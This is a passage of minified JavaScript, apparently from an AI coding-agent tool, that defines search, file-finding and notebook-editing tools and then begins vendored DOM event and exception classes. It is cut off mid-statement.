h5K({mode:A="files_with_matches",filenames:K,numFiles:q,content:Y,numLines:z,numMatches:w},H,{verbose:J}){if(A==="content")return y$.default.createElement(qh6,{count:z??0,countLabel:"lines",content:Y,verbose:J});if(A==="count")return y$.default.createElement(qh6,{count:w??0,countLabel:"matches",secondaryCount:q,secondaryLabel:"files",content:Y,verbose:J});let O=K.map((X)=>X).join(` `);return y$.default.createElement(qh6,{count:q,countLabel:"files",content:O,verbose:J})}function Yh6(A){if(!A?.pattern)return null;return a9(A.pattern,CI)}var y$;var b5K=k(()=>{cA();mA();__();J0();Eq();ca();YK();$8();y$=o($A(),1)});import{relative as iV2}from"path";function zh6(A,K,q=0){if(K===void 0)return A.slice(q);return A.slice(q,q+K)}function wh6(A){let K=x1(),q=iV2(K,A);return q.startsWith("..")?A:q}function Hh6(A,K){if(!A&&!K)return"";return`limit: ${A}, offset: ${K??0}`}var Jh6,nV2,rV2,hd;var IMA=k(()=>{z7();y4();Oz();wb();rE();Xz();e6();b5K();Jh6=U.strictObject({pattern:U.string().describe("The regular expression pattern to search for in file contents"),path:U.string().optional().describe("File or directory to search in (rg PATH). Defaults to current working directory."),glob:U.string().optional().describe('Glob pattern to filter files (e.g. "*.js", "*.{ts,tsx}") - maps to rg --glob'),output_mode:U.enum(["content","files_with_matches","count"]).optional().describe('Output mode: "content" shows matching lines (supports -A/-B/-C context, -n line numbers, head_limit), "files_with_matches" shows file paths (supports head_limit), "count" shows match counts (supports head_limit). Defaults to "files_with_matches".'),"-B":U.number().optional().describe('Number of lines to show before each match (rg -B). Requires output_mode: "content", ignored otherwise.'),"-A":U.number().optional().describe('Number of lines to show after each match (rg -A). Requires output_mode: "content", ignored otherwise.'),"-C":U.number().optional().describe("Alias for context."),context:U.number().optional().describe('Number of lines to show before and after each match (rg -C). Requires output_mode: "content", ignored otherwise.'),"-n":U.boolean().optional().describe('Show line numbers in output (rg -n). Requires output_mode: "content", ignored otherwise. Defaults to true.'),"-i":U.boolean().optional().describe("Case insensitive search (rg -i)"),type:U.string().optional().describe("File type to search (rg --type). Common types: js, py, rust, go, java, etc. More efficient than include for standard file types."),head_limit:U.number().optional().describe('Limit output to first N lines/entries, equivalent to "| head -N". Works across all output modes: content (limits output lines), files_with_matches (limits file paths), count (limits count entries). Defaults to 0 (unlimited).'),offset:U.number().optional().describe('Skip first N lines/entries before applying head_limit, equivalent to "| tail -n +N | head -N". Works across all output modes. Defaults to 0.'),multiline:U.boolean().optional().describe("Enable multiline mode where . matches newlines and patterns can span lines (rg -U --multiline-dotall). Default: false.")}),nV2=[".git",".svn",".hg",".bzr"];rV2=U.object({mode:U.enum(["content","files_with_matches","count"]).optional(),numFiles:U.number(),filenames:U.array(U.string()),content:U.string().optional(),numLines:U.number().optional(),numMatches:U.number().optional(),appliedLimit:U.number().optional(),appliedOffset:U.number().optional()}),hd={name:Fz,maxResultSizeChars:20000,strict:!0,input_examples:[{pattern:"TODO",output_mode:"files_with_matches"},{pattern:"function.*export",glob:"*.ts",output_mode:"content","-n":!0},{pattern:"error","-i":!0,type:"js",output_mode:"content","-B":2,"-A":5},{pattern:"import.*from",path:"/Users/username/project/src",output_mode:"content","-C":3,head_limit:20}],async description(){return Uc1()},userFacingName(){return"Search"},getToolUseSummary:Yh6,getActivityDescription(A){let K=Yh6(A);return K?`Searching for ${K}`:"Searching"},isEnabled(){return!0},inputSchema:Jh6,outputSchema:rV2,isConcurrencySafe(){return!0},isReadOnly(){return!0},isSearchOrReadCommand(){return{isSearch:!0,isRead:!1}},getPath({path:A}){return A||x1()},async validateInput({path:A}){if(A){let K=BA(),q=x7(A);if(!K.existsSync(q))return{result:!1,message:`Path does not exist: ${A}`,errorCode:1}}return{result:!0}},async checkPermissions(A,K){let q=await K.getAppState();return rt(hd,A,q.toolPermissionContext)},async prompt(){return Uc1()},renderToolUseMessage:R5K,renderToolUseRejectedMessage:y5K,renderToolUseErrorMessage:I5K,renderToolUseProgressMessage:S5K,renderToolResultMessage:h5K,mapToolResultToToolResultBlockParam({mode:A="files_with_matches",numFiles:K,filenames:q,content:Y,numLines:z,numMatches:w,appliedLimit:H,appliedOffset:J},O){if(A==="content"){let _=Hh6(H,J),G=Y||"No matches found",Z=_?`${G} [Showing results with pagination = ${_}]`:G;return{tool_use_id:O,type:"tool_result",content:Z}}if(A==="count"){let _=Hh6(H,J),G=Y||"No matches found",Z=w??0,W=K??0,D=` Found ${Z} total ${Z===1?"occurrence":"occurrences"} across ${W} ${W===1?"file":"files"}.${_?` with pagination = ${_}`:""}`;return{tool_use_id:O,type:"tool_result",content:G+D}}let X=Hh6(H,J);if(K===0)return{tool_use_id:O,type:"tool_result",content:"No files found"};let $=`Found ${K} file${K===1?"":"s"}${X?` ${X}`:""} ${q.join(` `)}`;return{tool_use_id:O,type:"tool_result",content:$}},async call({pattern:A,path:K,glob:q,type:Y,output_mode:z="files_with_matches","-B":w,"-A":H,"-C":J,context:O,"-n":X=!0,"-i":$=!1,head_limit:_,offset:G=0,multiline:Z=!1},{abortController:W,getAppState:D}){let j=K?x7(K):x1(),M=["--hidden"];for(let B of nV2)M.push("--glob",`!${B}`);if(M.push("--max-columns","500"),Z)M.push("-U","--multiline-dotall");if($)M.push("-i");if(z==="files_with_matches")M.push("-l");else if(z==="count")M.push("-c");if(X&&z==="content")M.push("-n");if(z==="content")if(O!==void 0)M.push("-C",O.toString());else if(J!==void 0)M.push("-C",J.toString());else{if(w!==void 0)M.push("-B",w.toString());if(H!==void 0)M.push("-A",H.toString())}if(A.startsWith("-"))M.push("-e",A);else M.push(A);if(Y)M.push("--type",Y);if(q){let B=[],b=q.split(/\s+/);for(let F of b)if(F.includes("{")&&F.includes("}"))B.push(F);else B.push(...F.split(",").filter(Boolean));for(let F of B.filter(Boolean))M.push("--glob",F)}let P=await D(),f=SMA(hMA(P.toolPermissionContext),x1());for(let B of f){let b=B.startsWith("/")?`!${B}`:`!**/${B}`;M.push("--glob",b)}let N=await zb(M,j,W.signal);if(z==="content"){let B=N.map((Q)=>{let u=Q.indexOf(":");if(u>0){let d=Q.substring(0,u),r=Q.substring(u);return wh6(d)+r}return Q}),b=zh6(B,_,G);return{data:{mode:"content",numFiles:0,filenames:[],content:b.join(` `),numLines:b.length,..._!==void 0&&{appliedLimit:_},...G>0&&{appliedOffset:G}}}}if(z==="count"){let B=N.map((d)=>{let r=d.lastIndexOf(":");if(r>0){let c=d.substring(0,r),YA=d.substring(r);return wh6(c)+YA}return d}),b=zh6(B,_,G),F=0,Q=0;for(let d of b){let r=d.lastIndexOf(":");if(r>0){let c=d.substring(r+1),YA=parseInt(c,10);if(!isNaN(YA))F+=YA,Q+=1}}return{data:{mode:"count",numFiles:Q,filenames:[],content:b.join(` `),numMatches:F,..._!==void 0&&{appliedLimit:_},...G>0&&{appliedOffset:G}}}}let T=await Promise.all(N.map((B)=>BA().stat(B))),C=N.map((B,b)=>[B,T[b]]).sort((B,b)=>{let F=(b[1].mtimeMs??0)-(B[1].mtimeMs??0);if(F===0)return B[0].localeCompare(b[0]);return F}).map((B)=>B[0]),x=zh6(C,_,G).map(wh6);return{data:{mode:"files_with_matches",filenames:x,numFiles:x.length,..._!==void 0&&{appliedLimit:_},...G>0&&{appliedOffset:G}}}}}});function x5K(){return"Search"}function u5K({pattern:A,path:K},{verbose:q}){if(!A)return null;if(!K)return`pattern: "${A}"`;return`pattern: "${A}", path: "${q?K:Z5(K)}"`}function B5K(){return _UA.default.createElement(u9,null)}function m5K(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return _UA.default.createElement(k6,null,_UA.default.createElement(V,{color:"error"},"Error searching files"));return _UA.default.createElement(C3,{result:A,verbose:K})}function g5K(){return null}function Oh6(A){if(!A?.pattern)return null;return a9(A.pattern,CI)}var _UA,F5K;var Q5K=k(()=>{mA();__();J0();Eq();$8();YK();IMA();_UA=o($A(),1);F5K=hd.renderToolResultMessage});var Xh6,oV2,ot;var GUA=k(()=>{z7();y4();YK();Xz();Oz();e6();Q5K();Xh6=U.strictObject({pattern:U.string().describe("The glob pattern to match files against"),path:U.string().optional().describe('The directory to search in. If not specified, the current working directory will be used. IMPORTANT: Omit this field to use the default directory. DO NOT enter "undefined" or "null" - simply omit it for the default behavior. Must be a valid directory path if provided.')}),oV2=U.object({durationMs:U.number().describe("Time taken to execute the search in milliseconds"),numFiles:U.number().describe("Total number of files found"),filenames:U.array(U.string()).describe("Array of file paths that match the pattern"),truncated:U.boolean().describe("Whether results were truncated (limited to 100 files)")}),ot={name:hH,maxResultSizeChars:1e5,async description(){return Qc1},userFacingName:x5K,getToolUseSummary:Oh6,getActivityDescription(A){let K=Oh6(A);return K?`Finding ${K}`:"Finding files"},isEnabled(){return!0},inputSchema:Xh6,outputSchema:oV2,isConcurrencySafe(){return!0},isReadOnly(){return!0},isSearchOrReadCommand(){return{isSearch:!0,isRead:!1}},getPath({path:A}){return A?x7(A):x1()},async validateInput({path:A}){if(A){let K=BA(),q=x7(A);if(!K.existsSync(q))return{result:!1,message:`Directory does not exist: ${A}`,errorCode:1};if(!K.statSync(q).isDirectory())return{result:!1,message:`Path is not a directory: ${A}`,errorCode:2}}return{result:!0}},async checkPermissions(A,K){let q=await K.getAppState();return rt(ot,A,q.toolPermissionContext)},async prompt(){return Qc1},renderToolUseMessage:u5K,renderToolUseRejectedMessage:B5K,renderToolUseErrorMessage:m5K,renderToolUseProgressMessage:g5K,renderToolResultMessage:F5K,async call(A,{abortController:K,getAppState:q,globLimits:Y}){let z=Date.now(),w=await q(),H=Y?.maxResults??100,{files:J,truncated:O}=await U5K(A.pattern,ot.getPath(A),{limit:H,offset:0},K.signal,w.toolPermissionContext);return{data:{filenames:J,durationMs:Date.now()-z,numFiles:J.length,truncated:O}}},mapToolResultToToolResultBlockParam(A,K){if(A.filenames.length===0)return{tool_use_id:K,type:"tool_result",content:"No files found"};return{tool_use_id:K,type:"tool_result",content:[...A.filenames,...A.truncated?["(Results are truncated. Consider using a more specific path or pattern.)"]:[]].join(` `)}}}});var p5K="Replace the contents of a specific cell in a Jupyter notebook.",d5K="Completely replaces the contents of a specific cell in a Jupyter notebook (.ipynb file) with new source. Jupyter notebooks are interactive documents that combine code, text, and visualizations, commonly used for data analysis and scientific computing. The notebook_path parameter must be an absolute path, not a relative path. The cell_number is 0-indexed. Use edit_mode=insert to add a new cell at the index specified by cell_number. Use edit_mode=delete to delete the cell at the index specified by cell_number.";import{relative as aV2}from"path";function c5K(A){let K=s(20),{notebook_path:q,cell_id:Y,new_source:z,cell_type:w,edit_mode:H,verbose:J}=A,O=H===void 0?"replace":H,X=O==="delete"?"delete":`${O} cell in`,$;if(K[0]!==X)$=LW.createElement(V,{color:"subtle"},"User rejected ",X," "),K[0]=X,K[1]=$;else $=K[1];let _;if(K[2]!==q||K[3]!==J)_=J?q:aV2(x1(),q),K[2]=q,K[3]=J,K[4]=_;else _=K[4];let G;if(K[5]!==_)G=LW.createElement(V,{bold:!0,color:"subtle"},_),K[5]=_,K[6]=G;else G=K[6];let Z;if(K[7]!==Y)Z=LW.createElement(V,{color:"subtle"}," at cell ",Y),K[7]=Y,K[8]=Z;else Z=K[8];let W;if(K[9]!==$||K[10]!==G||K[11]!==Z)W=LW.createElement(S,{flexDirection:"row"},$,G,Z),K[9]=$,K[10]=G,K[11]=Z,K[12]=W;else W=K[12];let D;if(K[13]!==w||K[14]!==O||K[15]!==z)D=O!=="delete"&&LW.createElement(S,{marginTop:1,flexDirection:"column"},LW.createElement(yf,{code:z,filePath:w==="markdown"?"file.md":"file.py",dim:!0})),K[13]=w,K[14]=O,K[15]=z,K[16]=D;else D=K[16];let j;if(K[17]!==W||K[18]!==D)j=LW.createElement(k6,null,LW.createElement(S,{flexDirection:"column"},W,D)),K[17]=W,K[18]=D,K[19]=j;else j=K[19];return j}var LW;var l5K=k(()=>{cA();mA();y4();Eq();W5A();LW=o($A(),1)});function $h6(A){if(!A?.notebook_path)return null;return Z5(A.notebook_path)}function i5K({notebook_path:A,cell_id:K,new_source:q,cell_type:Y,edit_mode:z},{verbose:w}){if(!A||!q||!Y)return null;let H=w?A:Z5(A);if(w)return T9.createElement(T9.Fragment,null,T9.createElement(zL,{filePath:A},H),`@${K}, content: ${q.slice(0,30)}…, cell_type: ${Y}, edit_mode: ${z??"replace"}`);return T9.createElement(T9.Fragment,null,T9.createElement(zL,{filePath:A},H),`@${K}`)}function n5K(A,{verbose:K}){return T9.createElement(c5K,{notebook_path:A.notebook_path,cell_id:A.cell_id,new_source:A.new_source,cell_type:A.cell_type,edit_mode:A.edit_mode,verbose:K})}function r5K(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return T9.createElement(k6,null,T9.createElement(V,{color:"error"},"Error editing notebook"));return T9.createElement(C3,{result:A,verbose:K})}function o5K(){return null}function a5K({cell_id:A,new_source:K,error:q}){if(q)return T9.createElement(k6,null,T9.createElement(V,{color:"error"},q));return T9.createElement(k6,null,T9.createElement(S,{flexDirection:"column"},T9.createElement(V,null,"Updated cell ",T9.createElement(V,{bold:!0},A),":"),T9.createElement(S,{marginLeft:2},T9.createElement(yf,{code:K,filePath:"notebook.py"}))))}var T9;var s5K=k(()=>{mA();sWA();W5A();l5K();Eq();J0();$8();YK();T9=o($A(),1)});import{extname as sV2,isAbsolute as t5K,resolve as e5K}from"path";var tV2,eV2,bd;var WUA=k(()=>{z7();hV1();YK();Xw();y4();Xz();e6();AP();s5K();b1();tV2=U.strictObject({notebook_path:U.string().describe("The absolute path to the Jupyter notebook file to edit (must be absolute, not relative)"),cell_id:U.string().optional().describe("The ID of the cell to edit. When inserting a new cell, the new cell will be inserted after the cell with this ID, or at the beginning if not specified."),new_source:U.string().describe("The new source for the cell"),cell_type:U.enum(["code","markdown"]).optional().describe("The type of the cell (code or markdown). If not specified, it defaults to the current cell type. If using edit_mode=insert, this is required."),edit_mode:U.enum(["replace","insert","delete"]).optional().describe("The type of edit to make (replace, insert, delete). Defaults to replace.")}),eV2=U.object({new_source:U.string().describe("The new source code that was written to the cell"),cell_id:U.string().optional().describe("The ID of the cell that was edited"),cell_type:U.enum(["code","markdown"]).describe("The type of the cell"),language:U.string().describe("The programming language of the notebook"),edit_mode:U.string().describe("The edit mode that was used"),error:U.string().optional().describe("Error message if the operation failed"),notebook_path:U.string().describe("The path to the notebook file"),original_file:U.string().describe("The original notebook content before modification"),updated_file:U.string().describe("The updated notebook content after modification")}),bd={name:ZD,maxResultSizeChars:1e5,shouldDefer:!0,async description(){return p5K},async prompt(){return d5K},userFacingName(){return"Edit Notebook"},getToolUseSummary:$h6,getActivityDescription(A){let K=$h6(A);return K?`Editing notebook ${K}`:"Editing notebook"},isEnabled(){return!0},inputSchema:tV2,outputSchema:eV2,isConcurrencySafe(){return!1},isReadOnly(){return!1},getPath(A){return A.notebook_path},async checkPermissions(A,K){let q=await K.getAppState();return P5A(bd,A,q.toolPermissionContext)},mapToolResultToToolResultBlockParam({cell_id:A,edit_mode:K,new_source:q,error:Y},z){if(Y)return{tool_use_id:z,type:"tool_result",content:Y,is_error:!0};switch(K){case"replace":return{tool_use_id:z,type:"tool_result",content:`Updated cell ${A} with ${q}`};case"insert":return{tool_use_id:z,type:"tool_result",content:`Inserted cell ${A} with ${q}`};case"delete":return{tool_use_id:z,type:"tool_result",content:`Deleted cell ${A}`};default:return{tool_use_id:z,type:"tool_result",content:"Unknown edit mode"}}},renderToolUseMessage:i5K,renderToolUseRejectedMessage:n5K,renderToolUseErrorMessage:r5K,renderToolUseProgressMessage:o5K,renderToolResultMessage:a5K,async validateInput({notebook_path:A,cell_type:K,cell_id:q,edit_mode:Y="replace"}){let z=t5K(A)?A:e5K(x1(),A),w=BA();if(!w.existsSync(z))return{result:!1,message:"Notebook file does not exist.",errorCode:1};if(sV2(z)!==".ipynb")return{result:!1,message:"File must be a Jupyter notebook (.ipynb file). For editing other file types, use the FileEdit tool.",errorCode:2};if(Y!=="replace"&&Y!=="insert"&&Y!=="delete")return{result:!1,message:"Edit mode must be replace, insert, or delete.",errorCode:4};if(Y==="insert"&&!K)return{result:!1,message:"Cell type is required when using edit_mode=insert.",errorCode:5};let H=gX(z),J=w.readFileSync(z,{encoding:H}),O=P3(J);if(!O)return{result:!1,message:"Notebook is not valid JSON.",errorCode:6};if(!q){if(Y!=="insert")return{result:!1,message:"Cell ID must be specified when not inserting a new cell.",errorCode:7}}else if(O.cells.findIndex(($)=>$.id===q)===-1){let $=ZUA(q);if($!==void 0){if(!O.cells[$])return{result:!1,message:`Cell with index ${$} does not exist in notebook.`,errorCode:7}}else return{result:!1,message:`Cell with ID "${q}" not found in notebook.`,errorCode:8}}return{result:!0}},async call({notebook_path:A,new_source:K,cell_id:q,cell_type:Y,edit_mode:z},{updateFileHistoryState:w},H,J){let O=t5K(A)?A:e5K(x1(),A);if(l2())await Ds(w,O,J.uuid);try{let X=gX(O),$=BA().readFileSync(O,{encoding:X}),_=G6($),G;if(!q)G=0;else{if(G=_.cells.findIndex((f)=>f.id===q),G===-1){let f=ZUA(q);if(f!==void 0)G=f}if(z==="insert")G+=1}let Z=z;if(Z==="replace"&&G===_.cells.length){if(Z="insert",!Y)Y="code"}let W=_.metadata.language_info?.name??"python",D=void 0;if(_.nbformat>4||_.nbformat===4&&_.nbformat_minor>=5){if(Z==="insert")D=Math.random().toString(36).substring(2,15);else if(q!==null)D=q}if(Z==="delete")_.cells.splice(G,1);else if(Z==="insert"){let f;if(Y==="markdown")f={cell_type:"markdown",id:D,source:K,metadata:{}};else f={cell_type:"code",id:D,source:K,metadata:{},execution_count:null,outputs:[]};_.cells.splice(G,0,f)}else{let f=_.cells[G];if(f.source=K,f.cell_type==="code")f.execution_count=null,f.outputs=[];if(Y&&Y!==f.cell_type)f.cell_type=Y}let j=Up(O),M=UA(_,null,1);return Ss(O,M,X,j),{data:{new_source:K,cell_type:Y??"code",language:W,edit_mode:Z??"replace",cell_id:D||void 0,error:"",notebook_path:O,original_file:$,updated_file:M}}}catch(X){if(X instanceof Error)return{data:{new_source:K,cell_type:Y??"code",language:"python",edit_mode:"replace",error:X.message,cell_id:q,notebook_path:O,original_file:"",updated_file:""}};return{data:{new_source:K,cell_type:Y??"code",language:"python",edit_mode:"replace",error:"Unknown error occurred while editing notebook",cell_id:q,notebook_path:O,original_file:"",updated_file:""}}}}}});var bMA=v((NtH,A3K)=>{A3K.exports=s3A;s3A.CAPTURING_PHASE=1;s3A.AT_TARGET=2;s3A.BUBBLING_PHASE=3;function s3A(A,K){if(this.type="",this.target=null,this.currentTarget=null,this.eventPhase=s3A.AT_TARGET,this.bubbles=!1,this.cancelable=!1,this.isTrusted=!1,this.defaultPrevented=!1,this.timeStamp=Date.now(),this._propagationStopped=!1,this._immediatePropagationStopped=!1,this._initialized=!0,this._dispatching=!1,A)this.type=A;if(K)for(var q in K)this[q]=K[q]}s3A.prototype=Object.create(Object.prototype,{constructor:{value:s3A},stopPropagation:{value:function(){this._propagationStopped=!0}},stopImmediatePropagation:{value:function(){this._propagationStopped=!0,this._immediatePropagationStopped=!0}},preventDefault:{value:function(){if(this.cancelable)this.defaultPrevented=!0}},initEvent:{value:function(K,q,Y){if(this._initialized=!0,this._dispatching)return;this._propagationStopped=!1,this._immediatePropagationStopped=!1,this.defaultPrevented=!1,this.isTrusted=!1,this.target=null,this.type=K,this.bubbles=q,this.cancelable=Y}}})});var Gh6=v((TtH,q3K)=>{var K3K=bMA();q3K.exports=_h6;function _h6(){K3K.call(this),this.view=null,this.detail=0}_h6.prototype=Object.create(K3K.prototype,{constructor:{value:_h6},initUIEvent:{value:function(A,K,q,Y,z){this.initEvent(A,K,q),this.view=Y,this.detail=z}}})});var Wh6=v((vtH,z3K)=>{var Y3K=Gh6();z3K.exports=Zh6;function Zh6(){Y3K.call(this),this.screenX=this.screenY=this.clientX=this.clientY=0,this.ctrlKey=this.altKey=this.shiftKey=this.metaKey=!1,this.button=0,this.buttons=1,this.relatedTarget=null}Zh6.prototype=Object.create(Y3K.prototype,{constructor:{value:Zh6},initMouseEvent:{value:function(A,K,q,Y,z,w,H,J,O,X,$,_,G,Z,W){switch(this.initEvent(A,K,q,Y,z),this.screenX=w,this.screenY=H,this.clientX=J,this.clientY=O,this.ctrlKey=X,this.altKey=$,this.shiftKey=_,this.metaKey=G,this.button=Z,Z){case 0:this.buttons=1;break;case 1:this.buttons=4;break;case 2:this.buttons=2;break;default:this.buttons=0;break}this.relatedTarget=W}},getModifierState:{value:function(A){switch(A){case"Alt":return this.altKey;case"Control":return this.ctrlKey;case"Shift":return this.shiftKey;case"Meta":return this.metaKey;default:return!1}}}})});var uV1=v((EtH,H3K)=>{H3K.exports=xV1;var Af2=1,Kf2=3,qf2=4,Yf2=5,zf2=7,wf2=8,Hf2=9,Jf2=11,Of2=12,Xf2=13,$f2=14,_f2=15,Gf2=17,Zf2=18,Wf2=19,Df2=20,jf2=21,Mf2=22,Pf2=23,Vf2=24,ff2=25,Nf2=[null,"INDEX_SIZE_ERR",null,"HIERARCHY_REQUEST_ERR","WRONG_DOCUMENT_ERR","INVALID_CHARACTER_ERR",null,"NO_MODIFICATION_ALLOWED_ERR","NOT_FOUND_ERR","NOT_SUPPORTED_ERR","INUSE_ATTRIBUTE_ERR","INVALID_STATE_ERR","SYNTAX_ERR","INVALID_MODIFICATION_ERR","NAMESPACE_ERR","INVALID_ACCESS_ERR",null,"TYPE_MISMATCH_ERR","SECURITY_ERR","NETWORK_ERR","ABORT_ERR","URL_MISMATCH_ERR","QUOTA_EXCEEDED_ERR","TIMEOUT_ERR","INVALID_NODE_TYPE_ERR","DATA_CLONE_ERR"],Tf2=[null,"INDEX_SIZE_ERR (1): the index is not in the allowed range",null,"HIERARCHY_REQUEST_ERR (3): the operation would yield an incorrect nodes model","WRONG_DOCUMENT_ERR (4): the object is in the wrong Document, a call to importNode is required","INVALID_CHARACTER_ERR (5): the string contains invalid characters",null,"NO_MODIFICATION_ALLOWED_ERR (7): the object can not be modified","NOT_FOUND_ERR (8): the object can not be found here","NOT_SUPPORTED_ERR (9): this operation is not supported","INUSE_ATTRIBUTE_ERR (10): setAttributeNode called on owned Attribute","INVALID_STATE_ERR (11): the object is in an invalid state","SYNTAX_ERR (12): the string did not match the expected pattern","INVALID_MODIFICATION_ERR (13): the object can not be modified in this way","NAMESPACE_ERR (14): the operation is not allowed by Namespaces in XML","INVALID_ACCESS_ERR (15): the object does not support the operation or argument",null,"TYPE_MISMATCH_ERR (17): the type of the object does not match the expected type","SECURITY_ERR (18): the operation is insecure","NETWORK_ERR (19): a network error occurred","ABORT_ERR (20): the user aborted an operation","URL_MISMATCH_ERR (21): the given URL does not match another URL","QUOTA_EXCEEDED_ERR (22): the quota has been exceeded","TIMEOUT_ERR (23): a timeout occurred","INVALID_NODE_TYPE_ERR (24): the supplied node is invalid or has an invalid ancestor for this operation","DATA_CLONE_ERR (25): the object can not be cloned."],w3K={INDEX_SIZE_ERR:Af2,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:Kf2,WRONG_DOCUMENT_ERR:qf2,INVALID_CHARACTER_ERR:Yf2,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:zf2,NOT_FOUND_ERR:wf2,NOT_SUPPORTED_ERR:Hf2,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:Jf2,SYNTAX_ERR:Of2,INVALID_MODIFICATION_ERR:Xf2,NAMESPACE_ERR:$f2,INVALID_ACCESS_ERR:_f2,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:Gf2,SECURITY_ERR:Zf2,NETWORK_ERR:Wf2,ABORT_ERR:Df2,URL_MISMATCH_ERR:jf2,QUOTA_EXCEEDED_ERR:Mf2,TIMEOUT_ERR:Pf2,INVALID_NODE_TYPE_ERR:Vf2,DATA_CLONE_ERR:ff2};function xV1(A){Error.call(this),Error.captureStackTrace(this,this.constructor),this.code=A,this.message=Tf2[A],this.name=Nf2[A]}xV1.prototype.__proto__=Error.prototype;for(DUA in w3K)bV1={value:w3K[DUA]},Object.defineProperty(xV1,DUA,bV1),Object.defineProperty(xV1.prototype,DUA,bV1);var bV1,DUA});var BV1=v((vf2)=>{vf2.isApiWritable=!globalThis.__domino_frozen__});var P0=v((Cf2)=>{var M0=uV1(),jX=M0,kf2=BV1().isApiWritable;Cf2.NAMESPACE={HTML:"http://www.w3.org/1999/xhtml",XML:"http://www.w3.org/XML/1998/namespace",XMLNS:"http://www.w3.org/2000/xmlns/",MATHML:"http://www.w3.org/1998/Math/MathML",SVG:"http://www.w3.org/2000/svg",XLINK:"http://www.w3.org/1999/xlink"};Cf2.IndexSizeError=function(){throw new M0(jX.INDEX_SIZE_ERR)};Cf2.HierarchyRequestError=function(){throw new M0(jX.HIERARCHY_REQUEST_ERR)};Cf2.WrongDocumentError=function(){throw new M0(jX.WRONG_DOCUMENT_ERR)};Cf2.InvalidCharacterError=function(){throw new M0(jX.INVALID_CHARACTER_ERR)};Cf2.NoModificationAllowedError=function(){throw new M0(jX.NO_MODIFICATION_ALLOWED_ERR)};Cf2.NotFoundError=function(){throw new M0(jX.NOT_FOUND_ERR)};Cf2.NotSupportedError=function(){throw new M0(jX.NOT_SUPPORTED_ERR)};Cf2.InvalidStateError=function(){throw new M0(jX.INVALID_STATE_ERR)};Cf2.SyntaxError=function(){throw new M0(jX.SYNTAX_ERR)};Cf2.InvalidModificationError=function(){throw new M0(jX.INVALID_MODIFICATION_ERR)};Cf2.NamespaceError=function(){throw new M0(jX.NAMESPACE_ERR)};Cf2.InvalidAccessError=function(){throw new M0(jX.INVALID_ACCESS_ERR)};Cf2.TypeMismatchError=function(){throw new M0(jX.TYPE_MISMATCH_ERR)};Cf2.SecurityError=function(){throw new M0(jX.SECURITY_ERR)};Cf2.NetworkError=function(){throw new M0(jX.NETWORK_ERR)};Cf2.AbortError=function(){throw new M0(jX.ABORT_ERR)};Cf2.UrlMismatchError=function(){throw new M0(jX.URL_MISMATCH_ERR)};Cf2.QuotaExceededError=function(){throw new M0(jX.QUOTA_EXCEEDED_ERR)};Cf2.TimeoutError=function(){throw new M0(jX.TIMEOUT_ERR)};Cf2.InvalidNodeTypeError=function(){throw new M0(jX.INVALID_NODE_TYPE_ERR)};Cf2.DataCloneError=function(){throw new M0(jX.DATA_CLONE_ERR)};Cf2.nyi=function(){throw Error("NotYetImplemented")};Cf2.shouldOverride=function(){throw Error("Abstract function; should be overriding in subclass.")};Cf2.assert=function(A,K){if(!A)throw Error("Assertion failed: "+(K||"")+` `+Error().stack)};Cf2.expose=function(A,K){for(var q in A)Object.defineProperty(K.prototype,q,{value:A[q],writable:kf2})};Cf2.merge=function(A,K){for(var q in K)A[q]=K[q]};Cf2.documentOrder=function(A,K){return 3-(A.compareDocumentPosition(K)&6)};Cf2.toASCIILowerCase=function(A){return A.replace(/[A-Z]+/g,function(K){return K.toLowerCase()})};Cf2.toASCIIUpperCase=function(A){return A.replace(/[a-z]+/g,function(K){return K.toUpperCase()})}});var Dh6=v((LtH,O3K)=>{var t3A=bMA(),YN2=Wh6(),zN2=P0();O3K.exports=J3K;function J3K(){}J3K.prototype={addEventListener:function(K,q,Y){if(!q)return;if(Y===void 0)Y=!1;if(!this._listeners)this._listeners=Object.create(null);if(!this._listeners[K])this._listeners[K]=[];var z=this._listeners[K];for(var w=0,H=z.length;w<H;w++){var J=z[w];if(J.listener===q&&J.capture===Y)return}var O={listener:q,capture:Y};if(typeof q==="function")O.f=q;z.push(O)},removeEventListener:function(K,q,Y){if(Y===void 0)Y=!1;if(this._listeners){var z=this._listeners[K];if(z)for(var w=0,H=z.length;w<H;w++){var J=z[w];if(J.listener===q&&J.capture===Y){if(z.length===1)this._listeners[K]=void 0;else z.splice(w,1);return}}}},dispatchEvent:function(K){return this._dispatchEvent(K,!1)},_dispatchEvent:function(K,q){if(typeof q!=="boolean")q=!1;function Y(X,$){var{type:_,eventPhase:G}=$;if($.currentTarget=X,G!==t3A.CAPTURING_PHASE&&X._handlers&&X._handlers[_]){var Z=X._handlers[_],W;if(typeof Z==="function")W=Z.call($.currentTarget,$);else{var D=Z.handleEvent;if(typeof D!=="function")throw TypeError("handleEvent property of event handler object isnot a function.");W=D.call(Z,$)}switch($.type){case"mouseover":if(W===!0)$.preventDefault();break;case"beforeunload":default:if(W===!1)$.preventDefault();break}}var j=X._listeners&&X._listeners[_];if(!j)return;j=j.slice();for(var M=0,P=j.length;M<P;M++){if($._immediatePropagationStopped)return;var f=j[M];if(G===t3A.CAPTURING_PHASE&&!f.capture||G===t3A.BUBBLING_PHASE&&f.capture)continue;if(f.f)f.f.call($.currentTarget,$);else{var N=f.listener.handleEvent;if(typeof N!=="function")throw TypeError("handleEvent property of event listener object is not a function.");N.call(f.listener,$)}}}if(!K._initialized||K._dispatching)zN2.InvalidStateError();K.isTrusted=q,K._dispatching=!0,K.target=this;var z=[];for(var w=this.parentNode;w;w=w.parentNode)z.push(w);K.eventPhase=t3A.CAPTURING_PHASE;for(var H=z.length-1;H>=0;H--)if(Y(z[H],K),K._propagationStopped)break;if(!K._propagationStopped)K.eventPhase=t3A.AT_TARGET,Y(this,K);if(K.bubbles&&!K._propagationStopped){K.eventPhase=t3A.BUBBLING_PHASE;for(var J=0,O=z.length;J<O;J++)if(Y(z[J],K),K._propagationStopped)break}if(K._dispatching=!1,K.eventPhase=t3A.AT_TARGET,K.currentTarget=null,q&&!K.defaultPrevented&&K instanceof 